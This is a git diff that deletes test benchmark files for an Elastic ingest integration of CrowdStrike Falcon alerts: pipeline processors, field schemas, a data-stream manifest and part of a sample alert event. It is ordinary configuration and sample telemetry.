-      target_field: crowdstrike.alert.type
-      ignore_missing: true
-  - rename:
-      field: json.rule_group_id
-      tag: rename_rule_group_id
-      target_field: crowdstrike.alert.rule_group_id
-      ignore_missing: true
-  - rename:
-      field: json.rule_group_name
-      tag: rename_rule_group_name
-      target_field: crowdstrike.alert.rule_group_name
-      ignore_missing: true
-  - rename:
-      field: json.rule_instance_created_by
-      tag: rename_rule_instance_created_by
-      target_field: crowdstrike.alert.rule_instance_created_by
-      ignore_missing: true
-  - rename:
-      field: json.rule_instance_id
-      tag: rename_rule_instance_id
-      target_field: crowdstrike.alert.rule_instance_id
-      ignore_missing: true
-  - rename:
-      field: json.rule_instance_name
-      tag: rename_rule_instance_name
-      target_field: crowdstrike.alert.rule_instance_name
-      ignore_missing: true
-  - rename:
-      field: json.rule_instance_version
-      tag: rename_rule_instance_version
-      target_field: crowdstrike.alert.rule_instance_version
-      ignore_missing: true
-  - rename:
-      field: json.overwatch_note
-      tag: rename_overwatch_note
-      target_field: crowdstrike.alert.overwatch_note
-      ignore_missing: true
-  - date:
-      field: json.overwatch_note_timestamp
-      tag: date_overwatch_note_timestamp
-      target_field: crowdstrike.alert.overwatch_note_timestamp
-      formats:
-        - ISO8601
-      if: ctx.json?.overwatch_note_timestamp != null && ctx.json.updated_timestamp != ''
-      ignore_failure: true
-  - date:
-      field: json.updated_timestamp
-      tag: date_updated_timestamp
-      target_field: crowdstrike.alert.updated_timestamp
-      formats:
-        - ISO8601
-      if: ctx.json?.updated_timestamp != null && ctx.json.updated_timestamp != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.user_id
-      tag: rename_user_id
-      target_field: crowdstrike.alert.user_id
-      ignore_missing: true
-  - set:
-      field: user.id
-      tag: set_user_id_from_alert_user_id
-      copy_from: crowdstrike.alert.user_id
-      ignore_empty_value: true
-  - rename:
-      field: json.user_name
-      tag: rename_user_name
-      target_field: crowdstrike.alert.user_name
-      ignore_missing: true
-  - set:
-      field: user.name
-      tag: set_user_name_from_alert_user_name
-      copy_from: crowdstrike.alert.user_name
-      ignore_empty_value: true
-  - append:
-      field: related.user
-      tag: append_user_id_into_related_user
-      value: '{{{user.id}}}'
-      allow_duplicates: false
-      if: ctx.user?.id != null
-  - append:
-      field: related.user
-      tag: append_user_name_into_related_user
-      value: '{{{user.name}}}'
-      allow_duplicates: false
-      if: ctx.user?.name != null
-  - rename:
-      field: json.user_principal
-      tag: rename_user_principal
-      target_field: crowdstrike.alert.user_principal
-      ignore_missing: true
-  - append:
-      field: related.user
-      tag: append_crowdstrike_alert_user_principal_into_related_user
-      value: '{{{crowdstrike.alert.user_principal}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.user_principal != null
-
-  - grok:
-      field: crowdstrike.alert.name
-      patterns:
-        - "%{NOTSPACE:_username_from_name} on %{NOTSPACE:_hostname_from_name}"
-      ignore_missing: true
-      ignore_failure: true
-  - set:
-      field: user.name
-      copy_from: _username_from_name
-      if: ctx.user?.name == null || ctx.user.name == ''
-      ignore_empty_value: true
-  - append:
-      field: related.user
-      value: '{{{_username_from_name}}}'
-      allow_duplicates: false
-      if: ctx._username_from_name != null && ctx._username_from_name != ''
-  - set:
-      field: host.name
-      copy_from: _hostname_from_name
-      if: ctx.host?.name == null || ctx.host.name == ''
-      ignore_empty_value: true
-  - append:
-      field: related.hosts
-      value: '{{{_hostname_from_name}}}'
-      allow_duplicates: false
-      if: ctx._hostname_from_name != null && ctx._hostname_from_name != ''
-  - remove:
-      field:
-        - _username_from_name
-        - _hostname_from_name
-      ignore_missing: true
-
-  - fingerprint:
-      fields:
-        - event.id
-        - crowdstrike.alert.cid
-        - crowdstrike.alert.indicator_id
-        - crowdstrike.alert.updated_timestamp
-      target_field: _id
-      ignore_missing: true
-  - remove:
-      field:
-        - crowdstrike.alert.agent_id
-        - crowdstrike.alert.command_line
-        - crowdstrike.alert.description
-        - crowdstrike.alert.device.device_id
-        - crowdstrike.alert.device.external_ip
-        - crowdstrike.alert.device.hostinfo.domain
-        - crowdstrike.alert.device.hostname
-        - crowdstrike.alert.device.local_ip
-        - crowdstrike.alert.device.mac_address
-        - crowdstrike.alert.device.os_version
-        - crowdstrike.alert.device.platform_name
-        - crowdstrike.alert.device.system_manufacturer
-        - crowdstrike.alert.device.system_product_name
-        - crowdstrike.alert.device.tags
-        - crowdstrike.alert.end_time
-        - crowdstrike.alert.filename
-        - crowdstrike.alert.filepath
-        - crowdstrike.alert.host_name
-        - crowdstrike.alert.host_type
-        - crowdstrike.alert.id
-        - crowdstrike.alert.idp_policy_rule.id
-        - crowdstrike.alert.idp_policy_rule.name
-        - crowdstrike.alert.image_file_name
-        - crowdstrike.alert.location_country_code
-        - crowdstrike.alert.md5
-        - crowdstrike.alert.operating_system
-        - crowdstrike.alert.os_name
-        - crowdstrike.alert.parent_details.cmdline
-        - crowdstrike.alert.parent_details.filename
-        - crowdstrike.alert.parent_details.filepath
-        - crowdstrike.alert.parent_details.md5
-        - crowdstrike.alert.parent_details.sha256
-        - crowdstrike.alert.parent_details.user_id
-        - crowdstrike.alert.parent_details.user_name
-        - crowdstrike.alert.parent_process_id
-        - crowdstrike.alert.process_end_time
-        - crowdstrike.alert.process_id
-        - crowdstrike.alert.process_start_time
-        - crowdstrike.alert.severity
-        - crowdstrike.alert.sha1
-        - crowdstrike.alert.sha256
-        - crowdstrike.alert.source.account_azure_id
-        - crowdstrike.alert.source.account_domain
-        - crowdstrike.alert.source.account_name
-        - crowdstrike.alert.source.endpoint_host_name
-        - crowdstrike.alert.source.endpoint_ip_address
-        - crowdstrike.alert.start_time
-        - crowdstrike.alert.tactic
-        - crowdstrike.alert.tags
-        - crowdstrike.alert.target.account_name
-        - crowdstrike.alert.target.domain_controller_host_name
-        - crowdstrike.alert.target.endpoint_host_name
-        - crowdstrike.alert.technique
-        - crowdstrike.alert.timestamp
-        - crowdstrike.alert.user_id
-        - crowdstrike.alert.user_name
-      tag: remove_custom_duplicate_fields
-      ignore_missing: true
-      if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields'))
-  - remove:
-      field: json
-      tag: remove_json
-      ignore_missing: true
-  - script:
-      lang: painless
-      description: Drops null/empty values recursively.
-      tag: painless_remove_null
-      source: |-
-        boolean drop(Object object) {
-          if (object == null || object == '') {
-            return true;
-          } else if (object instanceof Map) {
-            ((Map) object).values().removeIf(v -> drop(v));
-            return (((Map) object).size() == 0);
-          } else if (object instanceof List) {
-            ((List) object).removeIf(v -> drop(v));
-            return (((List) object).length == 0);
-          }
-          return false;
-        }
-        drop(ctx);
-  - set:
-      field: event.kind
-      tag: set_pipeline_error_to_event_kind_processor
-      value: pipeline_error
-      if: ctx.error?.message != null
-  - append:
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
-      if: ctx.error?.message != null
-on_failure:
-  - append:
-      field: error.message
-      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: event.kind
-      tag: set_pipeline_error_to_event_kind
-      value: pipeline_error
-  - append:
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml
deleted file mode 100644
index a93aca0ee9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-- name: data_stream.type
-  type: constant_keyword
-  description: Data stream type.
-- name: data_stream.dataset
-  type: constant_keyword
-  description: Data stream dataset.
-- name: data_stream.namespace
-  type: constant_keyword
-  description: Data stream namespace.
-- name: event.module
-  type: constant_keyword
-  description: Event module.
-  value: crowdstrike
-- name: event.dataset
-  type: constant_keyword
-  description: Event dataset.
-  value: crowdstrike.alert
-- name: '@timestamp'
-  type: date
-  description: Event timestamp.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml
deleted file mode 100644
index 4084f1dc7f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-- name: input.type
-  type: keyword
-  description: Type of filebeat input.
-- name: log.offset
-  type: long
-  description: Log offset.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml
deleted file mode 100644
index bdc73a9cb9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-# Remove this file when kibana.version satisfied ^8.14.
-- name: threat.tactic.id
-  external: ecs
-- name: threat.technique.id
-  external: ecs
-- name: threat.framework
-  external: ecs
-- name: tags
-  external: ecs
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml
deleted file mode 100644
index 2e8a6952ca..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml
+++ /dev/null
@@ -1,620 +0,0 @@
-- name: crowdstrike
-  type: group
-  fields:
-    - name: alert
-      type: group
-      fields:
-        - name: active_directory_authentication_method
-          type: long
-        - name: activity
-          type: group
-          fields:
-            - name: browser
-              type: keyword
-            - name: device
-              type: keyword
-            - name: id
-              type: keyword
-            - name: os
-              type: keyword
-        - name: agent_id
-          type: keyword
-        - name: agent_scan_id
-          type: keyword
-        - name: aggregate_id
-          type: keyword
-        - name: alert_attributes
-          type: long
-        - name: alleged_filetype
-          type: keyword
-        - name: assigned_to
-          type: group
-          fields:
-            - name: name
-              type: keyword
-            - name: uid
-              type: keyword
-            - name: uuid
-              type: keyword
-        - name: associated_files
-          type: group
-          fields:
-            - name: filepath
-              type: keyword
-            - name: sha256
-              type: keyword
-        - name: child_process_ids
-          type: keyword
-        - name: cid
-          type: keyword
-        - name: cloud_indicator
-          type: boolean
-        - name: cmdline
-          type: keyword
-        - name: command_line
-          type: keyword
-        - name: comment
-          type: keyword
-        - name: composite_id
-          type: keyword
-        - name: confidence
-          type: long
-        - name: context_timestamp
-          type: date
-        - name: control_graph_id
-          type: keyword
-        - name: crawl_edge_ids
-          type: group
-          fields:
-            - name: Sensor
-              type: keyword
-        - name: crawl_vertex_ids
-          type: group
-          fields:
-            - name: Sensor
-              type: keyword
-        - name: crawled_timestamp
-          type: date
-        - name: created_timestamp
-          type: date
-        - name: data_domains
-          type: keyword
-        - name: description
-          type: keyword
-        - name: detect_type
-          type: keyword
-        - name: device
-          type: group
-          fields:
-            - name: agent_load_flags
-              type: long
-            - name: agent_local_time
-              type: date
-            - name: agent_version
-              type: keyword
-            - name: bios_manufacturer
-              type: keyword
-            - name: bios_version
-              type: keyword
-            - name: cid
-              type: keyword
-            - name: config_id_base
-              type: keyword
-            - name: config_id_build
-              type: keyword
-            - name: config_id_platform
-              type: long
-            - name: external_ip
-              type: ip
-            - name: first_seen
-              type: date
-            - name: groups
-              type: keyword
-            - name: hostinfo
-              type: group
-              fields:
-                - name: active_directory_dn_display
-                  type: keyword
-                - name: domain
-                  type: keyword
-            - name: hostname
-              type: keyword
-            - name: id
-              type: keyword
-            - name: last_seen
-              type: date
-            - name: local_ip
-              type: ip
-            - name: mac_address
-              type: keyword
-            - name: machine_domain
-              type: keyword
-            - name: major_version
-              type: keyword
-            - name: minor_version
-              type: keyword
-            - name: modified_timestamp
-              type: date
-            - name: os_version
-              type: keyword
-            - name: ou
-              type: keyword
-            - name: platform_id
-              type: keyword
-            - name: platform_name
-              type: keyword
-            - name: pod_labels
-              type: keyword
-            - name: product_type
-              type: keyword
-            - name: product_type_desc
-              type: keyword
-            - name: site_name
-              type: keyword
-            - name: status
-              type: keyword
-            - name: system_manufacturer
-              type: keyword
-            - name: system_product_name
-              type: keyword
-            - name: tags
-              type: keyword
-        - name: display_name
-          type: keyword
-        - name: documents_accessed
-          type: group
-          fields:
-            - name: filename
-              type: keyword
-            - name: filepath
-              type: keyword
-            - name: timestamp
-              type: date
-        - name: email_sent
-          type: boolean
-        - name: end_time
-          type: date
-        - name: event_id
-          type: keyword
-        - name: executables_written
-          type: group
-          fields:
-            - name: filename
-              type: keyword
-            - name: filepath
-              type: keyword
-            - name: timestamp
-              type: date
-        - name: falcon_host_link
-          type: keyword
-        - name: file_writes
-          type: group
-          fields:
-            - name: name
-              type: keyword
-            - name: sha256
-              type: keyword
-        - name: filename
-          type: keyword
-        - name: filepath
-          type: keyword
-        - name: files_accessed
-          type: group
-          fields:
-            - name: filename
-              type: keyword
-            - name: filepath
-              type: keyword
-            - name: timestamp
-              type: date
-        - name: files_written
-          type: group
-          fields:
-            - name: filename
-              type: keyword
-            - name: filepath
-              type: keyword
-            - name: timestamp
-              type: date
-        - name: global_prevalence
-          type: keyword
-        - name: grandparent_details
-          type: group
-          fields:
-            - name: cmdline
-              type: keyword
-            - name: filename
-              type: keyword
-            - name: filepath
-              type: keyword
-            - name: local_process_id
-              type: keyword
-            - name: md5
-              type: keyword
-            - name: process_graph_id
-              type: keyword
-            - name: process_id
-              type: keyword
-            - name: sha256
-              type: keyword
-            - name: timestamp
-              type: date
-            - name: user_graph_id
-              type: keyword
-            - name: user_id
-              type: keyword
-            - name: user_name
-              type: keyword
-        - name: has_script_or_module_ioc
-          type: boolean
-        - name: host_name
-          type: keyword
-        - name: host_type
-          type: keyword
-        - name: id
-          type: keyword
-        - name: idp_policy
-          type: group
-          fields:
-            - name: enforced_externally
-              type: long
-            - name: mfa_factor_type
-              type: long
-            - name: mfa_provider
-              type: long
-            - name: rule_action
-              type: long
-            - name: rule_trigger
-              type: long
-            - name: rule_id
-              type: keyword
-            - name: rule_name
-              type: keyword
-        - name: image_file_name
-          type: keyword
-        - name: incident
-          type: group
-          fields:
-            - name: created
-              type: date
-            - name: end
-              type: date
-            - name: id
-              type: keyword
-            - name: score
-              type: double
-            - name: start
-              type: date
-        - name: indicator_id
-          type: keyword
-        - name: ioc_context
-          type: group
-          fields:
-            - name: cmdline
-              type: keyword
-            - name: ioc_description
-              type: keyword
-            - name: ioc_source
-              type: keyword
-            - name: ioc_type
-              type: keyword
-            - name: ioc_value
-              type: keyword
-            - name: md5
-              type: keyword
-            - name: sha256
-              type: keyword
-            - name: type
-              type: keyword
-        - name: ioc_description
-          type: keyword
-        - name: ioc_source
-          type: keyword
-        - name: ioc_type
-          type: keyword
-        - name: ioc_value
-          type: keyword
-        - name: ioc_values
-          type: keyword
-        - name: is_synthetic_quarantine_disposition
-          type: boolean
-        - name: ldap_search_query_attack
-          type: long
-        - name: local_prevalence
-          type: keyword
-        - name: local_process_id
-          type: keyword
-        - name: location_country_code
-          type: keyword
-        - name: location_latitude_as_int
-          type: long
-        - name: location_longitude_as_int
-          type: long
-        - name: logon_domain
-          type: keyword
-        - name: md5
-          type: keyword
-        - name: model_anomaly_indicators
-          type: keyword
-        - name: name
-          type: keyword
-        - name: network_accesses
-          type: group
-          fields:
-            - name: access_timestamp
-              type: date
-            - name: access_type
-              type: long
-            - name: connection_direction
-              type: keyword
-            - name: isIPV6
-              type: boolean
-            - name: local_address
-              type: ip
-            - name: local_port
-              type: long
-            - name: protocol
-              type: keyword
-            - name: remote_address
-              type: ip
-            - name: remote_port
-              type: long
-        - name: objective
-          type: keyword
-        - name: operating_system
-          type: keyword
-        - name: os_name
-          type: keyword
-        - name: overwatch_note
-          type: keyword
-        - name: overwatch_note_timestamp
-          type: date
-        - name: parent_details
-          type: group
-          fields:
-            - name: cmdline
-              type: keyword
-            - name: filename
-              type: keyword
-            - name: filepath
-              type: keyword
-            - name: local_process_id
-              type: keyword
-            - name: md5
-              type: keyword
-            - name: process_graph_id
-              type: keyword
-            - name: process_id
-              type: keyword
-            - name: sha256
-              type: keyword
-            - name: timestamp
-              type: date
-            - name: user_graph_id
-              type: keyword
-            - name: user_id
-              type: keyword
-            - name: user_name
-              type: keyword
-        - name: parent_process_id
-          type: keyword
-        - name: pattern_disposition
-          type: long
-        - name: pattern_disposition_description
-          type: keyword
-        - name: pattern_disposition_details
-          type: group
-          fields:
-            - name: blocking_unsupported_or_disabled
-              type: boolean
-            - name: bootup_safeguard_enabled
-              type: boolean
-            - name: containment_file_system
-              type: boolean
-            - name: critical_process_disabled
-              type: boolean
-            - name: detect
-              type: boolean
-            - name: fs_operation_blocked
-              type: boolean
-            - name: handle_operation_downgraded
-              type: boolean
-            - name: inddet_mask
-              type: boolean
-            - name: indicator
-              type: boolean
-            - name: kill_action_failed
-              type: boolean
-            - name: kill_parent
-              type: boolean
-            - name: kill_process
-              type: boolean
-            - name: kill_subprocess
-              type: boolean
-            - name: mfa_required
-              type: boolean
-            - name: operation_blocked
-              type: boolean
-            - name: policy_disabled
-              type: boolean
-            - name: prevention_provisioning_enabled
-              type: boolean
-            - name: process_blocked
-              type: boolean
-            - name: quarantine_file
-              type: boolean
-            - name: quarantine_machine
-              type: boolean
-            - name: registry_operation_blocked
-              type: boolean
-            - name: response_action_already_applied
-              type: boolean
-            - name: response_action_failed
-              type: boolean
-            - name: response_action_triggered
-              type: boolean
-            - name: rooting
-              type: boolean
-            - name: sensor_only
-              type: boolean
-            - name: suspend_parent
-              type: boolean
-            - name: suspend_process
-              type: boolean
-        - name: pattern_id
-          type: keyword
-        - name: platform
-          type: keyword
-        - name: poly_id
-          type: keyword
-        - name: prevented
-          type: boolean
-        - name: process_end_time
-          type: date
-        - name: process_id
-          type: keyword
-        - name: process_start_time
-          type: date
-        - name: product
-          type: keyword
-        - name: protocol_anomaly_classification
-          type: long
-        - name: quarantined
-          type: boolean
-        - name: quarantined_files
-          type: group
-          fields:
-            - name: filename
-              type: keyword
-            - name: id
-              type: keyword
-            - name: sha256
-              type: keyword
-            - name: state
-              type: keyword
-        - name: rule_group_id
-          type: keyword
-        - name: rule_group_name
-          type: keyword
-        - name: rule_instance_created_by
-          type: keyword
-        - name: rule_instance_id
-          type: keyword
-        - name: rule_instance_name
-          type: keyword
-        - name: rule_instance_version
-          type: keyword
-        - name: scan_id
-          type: keyword
-        - name: scenario
-          type: keyword
-        - name: seconds_to_resolved
-          type: long
-        - name: seconds_to_triaged
-          type: long
-        - name: severity
-          type: long
-        - name: severity_name
-          type: keyword
-        - name: sha1
-          type: keyword
-        - name: sha256
-          type: keyword
-        - name: show_in_ui
-          type: boolean
-        - name: source
-          type: group
-          fields:
-            - name: account_azure_id
-              type: keyword
-            - name: account_domain
-              type: keyword
-            - name: account_name
-              type: keyword
-            - name: account_object_guid
-              type: keyword
-            - name: account_object_sid
-              type: keyword
-            - name: account_sam_account_name
-              type: keyword
-            - name: account_upn
-              type: keyword
-            - name: endpoint_account_object_guid
-              type: keyword
-            - name: endpoint_account_object_sid
-              type: keyword
-            - name: endpoint_address_ip4
-              type: ip
-            - name: endpoint_host_name
-              type: keyword
-            - name: endpoint_ip_address
-              type: ip
-            - name: endpoint_ip_reputation
-              type: long
-            - name: endpoint_sensor_id
-              type: keyword
-            - name: ip_isp_classification
-              type: long
-            - name: ip_isp_domain
-              type: keyword
-        - name: source_products
-          type: keyword
-        - name: source_vendors
-          type: keyword
-        - name: start_time
-          type: date
-        - name: status
-          type: keyword
-        - name: tactic
-          type: keyword
-        - name: tactic_id
-          type: keyword
-        - name: tags
-          type: keyword
-        - name: target
-          type: group
-          fields:
-            - name: account_name
-              type: keyword
-            - name: domain_controller_host_name
-              type: keyword
-            - name: domain_controller_object_guid
-              type: keyword
-            - name: domain_controller_object_sid
-              type: keyword
-            - name: endpoint_account_object_guid
-              type: keyword
-            - name: endpoint_account_object_sid
-              type: keyword
-            - name: endpoint_host_name
-              type: keyword
-            - name: endpoint_sensor_id
-              type: keyword
-            - name: service_access_identifier
-              type: keyword
-        - name: technique
-          type: keyword
-        - name: technique_id
-          type: keyword
-        - name: template_instance_id
-          type: keyword
-        - name: timestamp
-          type: date
-        - name: tree_id
-          type: keyword
-        - name: tree_root
-          type: keyword
-        - name: triggering_process_graph_id
-          type: keyword
-        - name: type
-          type: keyword
-        - name: updated_timestamp
-          type: date
-        - name: user_id
-          type: keyword
-        - name: user_name
-          type: keyword
-        - name: user_principal
-          type: keyword
-        - name: worker_node_name
-          type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml
deleted file mode 100644
index 3849521166..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml
+++ /dev/null
@@ -1,94 +0,0 @@
-title: Collect Alert logs from CrowdStrike.
-type: logs
-streams:
-  - input: cel
-    title: Falcon Alerts
-    description: Collect Unified Alerts from CrowdStrike Falcon Intelligence.
-    enabled: false
-    template_path: cel.yml.hbs
-    vars:
-      - name: initial_interval
-        type: text
-        title: Initial Interval
-        description: How far back to pull the Alert logs from CrowdStrike. Supported units for this parameter are h/m/s.
-        multi: false
-        required: true
-        show_user: true
-        default: 24h
-      - name: interval
-        type: text
-        title: Interval
-        description: Duration between requests to the CrowdStrike API. By default, differential data is pulled once per day. Supported units for this parameter are h/m/s.
-        default: 24h
-        multi: false
-        required: true
-        show_user: true
-      - name: batch_size
-        type: integer
-        title: Batch Size
-        description: Batch size for the response of the CrowdStrike API. It must be between 1 - 1000.
-        default: 1000
-        multi: false
-        required: true
-        show_user: false
-      - name: http_client_timeout
-        type: text
-        title: HTTP Client Timeout
-        description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h.
-        multi: false
-        required: true
-        show_user: false
-        default: 30s
-      - name: query
-        type: text
-        title: FQL Query
-        description: This is an additional FQL query that may be included in requests to the API. You should not include any reference to the `timestamp` property. See the [FalconPy documentation](https://www.falconpy.io/Usage/Falcon-Query-Language.html) for details.
-        multi: false
-        required: false
-        show_user: false
-      - name: enable_request_tracer
-        type: bool
-        title: Enable request tracing
-        default: false
-        multi: false
-        required: false
-        show_user: false
-        description: >-
-          The request tracer logs requests and responses to the agent's local file-system for debugging configurations.
-          Enabling this request tracing compromises security and should only be used for debugging. Disabling the request
-          tracer will delete any stored traces.
-          See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_enable)
-          for details.
-      - name: tags
-        type: text
-        title: Tags
-        multi: true
-        required: true
-        show_user: false
-        default:
-          - forwarded
-          - crowdstrike-alert
-      - name: preserve_original_event
-        required: true
-        show_user: true
-        title: Preserve original event
-        description: Preserves a raw copy of the original event, added to the field `event.original`.
-        type: bool
-        multi: false
-        default: false
-      - name: preserve_duplicate_custom_fields
-        required: true
-        show_user: false
-        title: Preserve duplicate custom fields
-        description: Preserve crowdstrike.alert fields that were copied to Elastic Common Schema (ECS) fields.
-        type: bool
-        multi: false
-        default: false
-      - name: processors
-        type: yaml
-        title: Processors
-        multi: false
-        required: false
-        show_user: false
-        description: >-
-          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json
deleted file mode 100644
index 680f31dc1f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json
+++ /dev/null
@@ -1,364 +0,0 @@
-{
-    "@timestamp": "2023-11-03T18:00:22.328Z",
-    "agent": {
-        "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530",
-        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
-        "name": "elastic-agent-43429",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "crowdstrike": {
-        "alert": {
-            "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-            "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-            "alleged_filetype": "exe",
-            "cid": "92012896127c4a948236ba7601b886b0",
-            "cloud_indicator": false,
-            "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-            "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "confidence": 10,
-            "context_timestamp": "2023-11-03T18:00:31.000Z",
-            "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-            "crawl_edge_ids": {
-                "Sensor": [
-                    "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                    "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<WalY1K_h%QDBBF;_e7S!!*'!",
-                    "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                    "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                    "N6B%O'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbCuNjL#gW&=)E4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                    "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                    "N6CU&%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                    "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                    "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                    "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N"
-                ]
-            },
-            "crawl_vertex_ids": {
-                "Sensor": [
-                    "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                    "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                ]
-            },
